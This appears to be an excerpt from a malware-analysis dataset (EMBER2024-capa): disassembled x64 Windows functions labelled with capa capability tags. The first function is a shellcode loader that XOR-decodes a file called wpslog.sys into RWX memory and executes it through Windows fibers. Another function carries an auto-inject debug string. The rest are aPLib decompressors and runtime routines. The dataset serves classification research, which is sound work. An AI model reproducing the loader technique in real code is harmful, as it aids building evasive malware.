joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800013e0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via windows fibers
Get file size
Read file on windows
Set current directory
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x260
mov rax, qword [0x180005018]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r8d, 0x200
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x18000123b
lea ecx, [rax - 1]
movsxd rax, ecx
test ecx, ecx
jle 0x18000123b
cmp byte [rsp + rax + 0x50], 0x5c
je 0x180001233
dec ecx
dec rax
test rax, rax
jg 0x180001220
jmp 0x18000123b
movsxd rax, ecx
mov byte [rsp + rax + 0x51], 0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rax, [rsp + 0x44]
xor edi, edi
mov qword [rsp + 0x28], rax
lea r8, [0x180001190]
xor r9d, r9d
mov dword [rsp + 0x20], edi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 1]
mov dword [rsp + 0x28], 0x80
lea rcx, str.wpslog.sys
xor r9d, r9d
mov dword [rsp + 0x20], 4
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov esi, eax
mov r14d, eax
call fcn.1800014c4
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], edi
mov r8d, esi
mov qword [rsp + 0x20], rdi
mov rdx, rax
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea r9d, [rdi + 0x40]
mov r8d, 0x3000
mov edx, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test esi, esi
je 0x18000138d
cmp esi, 0x40
jb 0x180001367
movdqa xmm2, xmmword [str.cccccccccccccccc]
lea rax, [rbp + 0x20]
mov ecx, esi
mov edx, esi
and ecx, 0x3f
sub edx, ecx
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add edi, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x60], xmm1
movdqu xmm0, xmmword [rax - 0x50]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
cmp edi, edx
jb 0x180001320
cmp edi, esi
jae 0x18000138d
movsxd rcx, edi
add rcx, rbp
sub esi, edi
mov eax, esi
nop word [rax + rax]
xor byte [rcx], 0x63
lea rcx, [rcx + 1]
sub rax, 1
jne 0x180001380
mov r8, r14
mov rdx, rbp
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180001460
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
jmp 0x1800011d0
Function at 0x180001240
Capabilities:
Accept command line arguments
Create thread
Print debug messages

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1800110f0]
xor rax, rsp
mov qword [rsp + 0x260], rax
lea r8, [0x18000d5a0]
mov rdi, rcx
mov edx, 0x104
sub r8, rcx
nop word [rax + rax]
lea rax, [rdx + 0x7ffffefa]
test rax, rax
je 0x1800012a5
movzx eax, word [r8 + rcx]
test ax, ax
je 0x1800012a5
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x180001280
jmp 0x1800012aa
test rdx, rdx
jne 0x1800012ae
sub rcx, 2
xor esi, esi
xor edx, edx
mov r8d, 0x208
mov word [rcx], si
lea rcx, [rsp + 0x50]
call fcn.1800092b0
lea r8, str._NSDLLx64__s_Has_Auto_Inject_...
lea rcx, [rsp + 0x50]
mov r9, rdi
mov edx, 0x104
call fcn.180001060
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov dword [rsp + 0x30], esi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea ebx, [rsi + 2]
test rax, rax
je 0x180001341
cmp dword [rsp + 0x30], ebx
jne 0x180001341
mov rcx, qword [str._baymax]
lea rdx, [rsp + 0x38]
mov qword [rdx], rcx
mov rcx, qword [0x18000d5c0]
mov qword [rdx + 8], rcx
mov rcx, qword [rax + 8]
lea rdx, [rsp + 0x38]
call fcn.18000385c
mov ecx, 1
test eax, eax
cmove ebx, ecx
sub ebx, 1
je 0x180001359
cmp ebx, 1
je 0x18000134f
xor eax, eax
jmp 0x180001388
mov rcx, rdi
call fcn.1800011b0
jmp 0x180001388
lea rax, [rsp + 0x30]
lea r8, [0x1800010e0]
mov r9, rdi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x30], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
setne sil
mov eax, esi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180003180
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180003a33
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1800110f0]
jne 0x18000319a
rol rcx, 0x10
test cx, 0xffff
jne 0x180003196
repz ret
ror rcx, 0x10
jmp 0x18000398c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1800125a0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x180012698]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180003a11
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1800125a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180003a33
mov rax, qword [rsp + 0x88]
mov qword [0x180012698], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180012638], rax
mov rax, qword [0x180012698]
mov qword [0x180012510], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180012620], rax
mov dword [0x180012500], 0xc0000409
mov dword [0x180012504], 1
mov rax, qword [0x1800110f0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1800110f8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180012598], eax
mov ecx, 1
call fcn.180006f90
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000c348]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180012598], 0
jne 0x180003aba
mov ecx, 1
call fcn.180006f90
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x180004380
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x1800041f4
Function at 0x18000a468
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.180003ae0
xor ebx, ebx
mov rdi, rax
cmp qword [0x180013200], rbx
jne 0x18000a56e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x18000a643
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a643
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180013200], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180013208], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x180013210], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x180013220], rax
test rax, rax
je 0x18000a565
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x180013218], rax
jmp 0x18000a575
mov rax, qword [0x180013218]
jmp 0x18000a57c
mov rax, qword [0x180013218]
mov r11, qword [0x180013220]
cmp rax, rdi
je 0x18000a5e4
cmp r11, rdi
je 0x18000a5e4
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x180013220]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x18000a5e4
test rax, rax
je 0x18000a5e4
call rsi
test rax, rax
je 0x18000a5de
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18000a5de
test byte [rsp + 0x38], 1
jne 0x18000a5e4
bts ebp, 0x15
jmp 0x18000a622
mov rcx, qword [0x180013208]
cmp rcx, rdi
je 0x18000a622
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18000a622
call rax
mov rbx, rax
test rax, rax
je 0x18000a622
mov rcx, qword [0x180013210]
cmp rcx, rdi
je 0x18000a622
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18000a622
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180013200]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x18000a643
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x18000a645
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x142543058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1425431df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x142543089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14254306f
add dl, dl
jne 0x142543096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1425430f6
xor eax, eax
add dl, dl
jne 0x1425430a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1425431ad
add dl, dl
jne 0x1425430b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1425430c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1425430d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1425430dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1425430ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14254307e
mov eax, 1
add dl, dl
jne 0x142543106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x142543113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1425430fb
sub eax, ebx
mov ebx, 1
jne 0x14254314c
mov ecx, 1
add dl, dl
jne 0x14254312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14254313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x142543123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14254307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x142543168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x142543175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14254315d
cmp eax, 0x7d00
jae 0x14254319b
cmp eax, 0x500
jb 0x142543196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14254307e
cmp eax, 0x7f
ja 0x14254319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14254307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1425431d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14254307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140608108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14060828f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140608139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060811f
add dl, dl
jne 0x140608146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406081a6
xor eax, eax
add dl, dl
jne 0x140608155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14060825d
add dl, dl
jne 0x140608166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140608173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140608180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14060818d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14060819a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14060812e
mov eax, 1
add dl, dl
jne 0x1406081b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406081c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406081ab
sub eax, ebx
mov ebx, 1
jne 0x1406081fc
mov ecx, 1
add dl, dl
jne 0x1406081de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406081eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406081d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060812e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140608218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140608225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14060820d
cmp eax, 0x7d00
jae 0x14060824b
cmp eax, 0x500
jb 0x140608246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060812e
cmp eax, 0x7f
ja 0x14060824e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14060812e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140608282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14060812e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140004dc0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140004de8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140004e0e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140004e10
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140004e69
test ecx, ecx
jle 0x140004e49
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140004e69
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140004e69
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140004e90
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140004eb2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140004ec8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140004ee4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140004ee6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004f22
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140004fbe
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140004f5d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140004f9e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140004fbe
cmp rbx, rax
ja 0x140004f70
test rbx, rbx
je 0x140004fbe
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140005420
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14001a040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000544d
xor eax, eax
jmp 0x1400055b9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140005487
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140005487
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400055b9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400055ac
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x1400054ca
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400054f5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400055b1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005564
sub eax, 1
je 0x140005564
cmp eax, 2
jne 0x1400055ac
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400055b1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140005592
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400055ac
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400055b1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140010160
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400060a0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14001a040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140006173
cmp byte [rcx + 0x71], 0
je 0x140006173
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000616f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140006134
sub eax, 1
je 0x140006138
cmp eax, 2
jne 0x14000616f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140010160
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140006166
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000616f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000611c
xor al, al
jmp 0x14000611c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140010160
add rsp, 0x60
pop rbx
ret
Function at 0x140007d30
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140007d91
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140007d50
mov ecx, dword [r9]
jmp 0x140007e7b
cmp ecx, 0x4e0
jb 0x140007e7b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140007db0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140007e00
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret